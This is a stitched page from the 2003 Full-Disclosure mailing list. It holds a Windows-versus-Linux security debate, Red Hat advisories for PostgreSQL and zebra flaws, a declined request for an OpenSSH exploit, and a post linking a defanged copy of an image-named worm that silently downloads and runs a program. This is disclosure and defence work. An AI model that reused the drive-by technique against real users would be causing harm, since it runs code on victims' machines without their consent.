[EMAIL PROTECTED] wrote: On Wed, 12 Nov 2003, martin f krafft wrote: i guess the main argument against this joke is that an operating system with 10 different web servers, 10 different mail servers, 10 different ftp servers, 20 different window managers, 10 different browsers, 20 different mail clients, and so on, and so on, will have how many more bugs than a monolithic approach with 1 web server, 1 mail server, 1 ftp server, etc... I don't consider the web/mail/ftp servers, windows managers, browsers, mail clients etc. to be part of the operating system, per se. Certainly a vulnerability in Apache should not be a strike against Linux, should it? I like how the article quoted Steve Ballmer comparing Windows 2000 Server and W2K3 Server with Red Hat 6. Why doesn't Ballmer compare the state of the art Windows OS' available at the time RH6 came out? Did Windows NT 4 not stack up as well against RH6 as W2K/3? -- Dave Hull Senior IT Analyst, Information Services The University of Kansas voice: (785) 864-0403 || fax: (785) 864-0485 I wonder that it's not mentioned that nobody wants to apply M$ patches as they usually break something else. The real comparson should be between the vuln. discovery and the real fact of patching a system. Well, you can blame the admins and not the OS but this whole comparison is ... hmm ... strange ? -- NetCat FREE 10MB email + Antivirus + AntiSpam + POP3 + more Get it at http://www.doal.co.il:81/free/?c=both ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Microsoft prepares security assault on Linux
Jason said; >I wrote an information security book last year under contract with >Microsoft Press. The book was never published -- among other things it >explains truthfully the poor security condition of Windows and offers >detailed instructions and advice for defending against Microsoft's bad >business practices and incorrect security decisions. Because maybe a book isn't needed to describe what I describe in 3 pages, 10 points, keystroke by keystroke, button click by button click, documentation. Assuming the requisite files are on hand, it takes less than an hour to "harden" an IIS box against all of this years attacks, and the document was written 2 years ago. Fine, my 3 pages doesn't help "to educate developers of Web applications so that fewer new vulnerabilities would have been created.", but at least mine got published to our customers...;-] >Microsoft suppresses awareness of vulnerabilities in order to profit. Funny how they've always encouraged me with NTBugtraq, that would seem to be at odds with your perception of their position. Funny how I once tried to convince them to bury a vulnerability patch in a service pack rather than release a security bulletin, and there was no way they would have it. The old adage, "You catch more flies with honey" seems to often be the opinion of publishers, one reason I've never written a book (no publisher wants to publish a book written the way I write...;-]) Since they're putting the money up, I have to assume they have good stats on the demographics of who will buy it and what the buyer expects. Its their audience, write it for yourself, publish it yourself (as you've done.) That they thought it wasn't going to be profitable (from a publishing perspective) doesn't necessarily mean Microsoft is trying to "suppress awareness of vulnerabilities", it could just mean they didn't think it would sell. Cheers, Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] [RHSA-2003:313-01] Updated PostgreSQL packages fix buffer overflow
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Red Hat Security Advisory Synopsis: Updated PostgreSQL packages fix buffer overflow Advisory ID: RHSA-2003:313-00 Issue date:2003-11-13 Updated on:2003-11-13 Product: Red Hat Linux Keywords: Cross references: Obsoletes: RHSA-2003:001 RHSA-2003:010 CVE Names: CAN-2003-0901 - - 1. Topic: Updated PostgreSQL packages that correct a buffer overflow in the to_ascii routines are now available. 2. Relevant releases/architectures: Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: PostgreSQL is an advanced Object-Relational database management system (DBMS). Two bugs that can lead to buffer overflows have been found in the PostgreSQL abstract data type to ASCII conversion routines. A remote attacker who is able to influence the data passed to the to_ascii functions may be able to execute arbitrary code in the context of the PostgreSQL server. These issues affect PostgreSQL 7.2.x, and 7.3.x before 7.3.4. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0901 to these issues. In addition, a bug that can lead to leaks has been found in the string to timestamp abstract data type conversion routine. If the input string to the to_timestamp() routine is shorter than what the template string is expecting, the routine will run off the end of the input string, resulting in a leak of previous timestamp behavior and unstable behavior. Users of PostgreSQL are advised to upgrade to these erratum packages, which contain backported patches that correct these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. Please note that this update is available via Red Hat Network. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. Note that no initdb will be necessary from previous PostgreSQL packages. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 108079 - CAN-2003-0901 PostgreSQL To_Ascii() Buffer Overflow Vulnerability 109068 - to_timestamp not stable if date string shorter than template 6. RPMs required: Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/postgresql-7.1.3-5.72.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/postgresql-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-odbc-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-contrib-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-perl-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-devel-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-python-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-docs-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-server-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-jdbc-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-tcl-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-libs-7.1.3-5.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/postgresql-tk-7.1.3-5.72.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-odbc-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-contrib-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-perl-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-devel-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-python-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-docs-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-server-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-jdbc-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-tcl-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-libs-7.1.3-5.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/postgresql-tk-7.1.3-5.72.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/postgresql-7.2.4-5.73.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/postgresql-7.2.4-5.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/postgresql-contrib-7.2.4-5.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/postgresql-devel-7.2.4-5.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/postgresql-docs-7.2.4-5.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/postgresql-jdbc-7.2.4-5.7
Re: [Full-Disclosure] SSH Exploit Request
Jack Chum wrote: > Though it's late to ask, but could anyone send me the last openssh > exploit for our lab-test? The last exploit for a critical vulnerability in OpenSSH is from 2001. > We need to test it before we are permitted to upgrade. Please help. Help yourself and redesign your patch management. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] [RHSA-2003:307-01] Updated zebra packages fix security vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Red Hat Security Advisory Synopsis: Updated zebra packages fix security vulnerabilities Advisory ID: RHSA-2003:307-01 Issue date:2003-11-13 Updated on:2003-11-13 Product: Red Hat Linux Keywords: DoS Cross references: Obsoletes: CVE Names: CAN-2003-0795 CAN-2003-0858 - - 1. Topic: Updated zebra packages that close a locally-exploitable and a remotely-exploitable denial of service vulnerability are now available. 2. Relevant releases/architectures: Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Zebra an open source implementation of TCP/IP routing software. Jonny Robertson reported that Zebra can be remotely crashed if a Zebra password has been enabled and a remote attacker can connect to the Zebra telnet management port. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0795 to this issue. Herbert Xu reported that Zebra can accept spoofed messages sent on the kernel netlink interface by other users on the local machine. This could lead to a local denial of service attack. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0858 to this issue. Users of Zebra should upgrade to these erratum packages, which contain a patch preventing Zebra from crashing when it receives a telnet option delimiter without any option data, and a patch that checks that netlink messages actually came from the kernel. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. If up2date fails to connect to Red Hat Network due to SSL Certificate Errors, you need to install a version of the up2date client with an updated certificate. The latest version of up2date is available from the Red Hat FTP site and may also be downloaded directly from the RHN website: https://rhn.redhat.com/help/latest-up2date.pxt 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 107140 - CAN-2003-0795 Remote DoS in zebra 6. RPMs required: Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/zebra-0.91a-8.7.2.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/zebra-0.91a-8.7.2.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/zebra-0.91a-8.7.2.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/zebra-0.92a-5.7.3.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/zebra-0.92a-5.7.3.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/zebra-0.93a-5.8.0.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/zebra-0.93a-5.8.0.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/zebra-0.93b-4.9.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/zebra-0.93b-4.9.i386.rpm 7. Verification: MD5 sum Package Name - -- 1c42972cd3666c8d5c36fe2d4636bbbe 7.2/en/os/SRPMS/zebra-0.91a-8.7.2.src.rpm f3c2cd447407735bfa0a6ee3ea107f9c 7.2/en/os/i386/zebra-0.91a-8.7.2.i386.rpm 2caa6379b78578f62c0267ae703dc552 7.2/en/os/ia64/zebra-0.91a-8.7.2.ia64.rpm de79d8ae225cad78b897338307c74f70 7.3/en/os/SRPMS/zebra-0.92a-5.7.3.src.rpm 09d89f6a6d9ccb46bba080c6d7bc8b93 7.3/en/os/i386/zebra-0.92a-5.7.3.i386.rpm 4b4a738f98718f4e49c1ad16dfc8c515 8.0/en/os/SRPMS/zebra-0.93a-5.8.0.src.rpm 1665646ebda30a90ff04a06697b7df5f 8.0/en/os/i386/zebra-0.93a-5.8.0.i386.rpm 1d1e42921d7e83d7208a4c92aa9523e1 9/en/os/SRPMS/zebra-0.93b-4.9.src.rpm 73fad11a6b94e96ab66325c5bdac16cd 9/en/os/i386/zebra-0.93b-4.9.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available from https://www.redhat.com/security/keys.html You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command:
Re: [Full-Disclosure] new worm - "warm-pussy.jpg".
On Wed, Nov 12, 2003 at 02:36:41PM -0500, segfault wrote: > You idiot. Just because a file is called warm-pussy.jpg, doesn't mean that > the webserver it resides on isn't going to parse it's actual content (which > is probably plaintext). Look again, I'm sure you'll be surprised. > > Contents of warm-pussy.jpg: I edited the source to make it harmless (putty from official website instead of virus) and fixed the dependency on existence of c:\windows. For those who want to see how it works: http://lamorak.hetisw.nl/concept.jpg I tested on 3 volunteers and 1 reported a virusscanner (can't remember which one) reporting VBS/Psyme. Either test on a fast line, or allow enough time for putty to download. Greetings, Ivo van Dongen ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
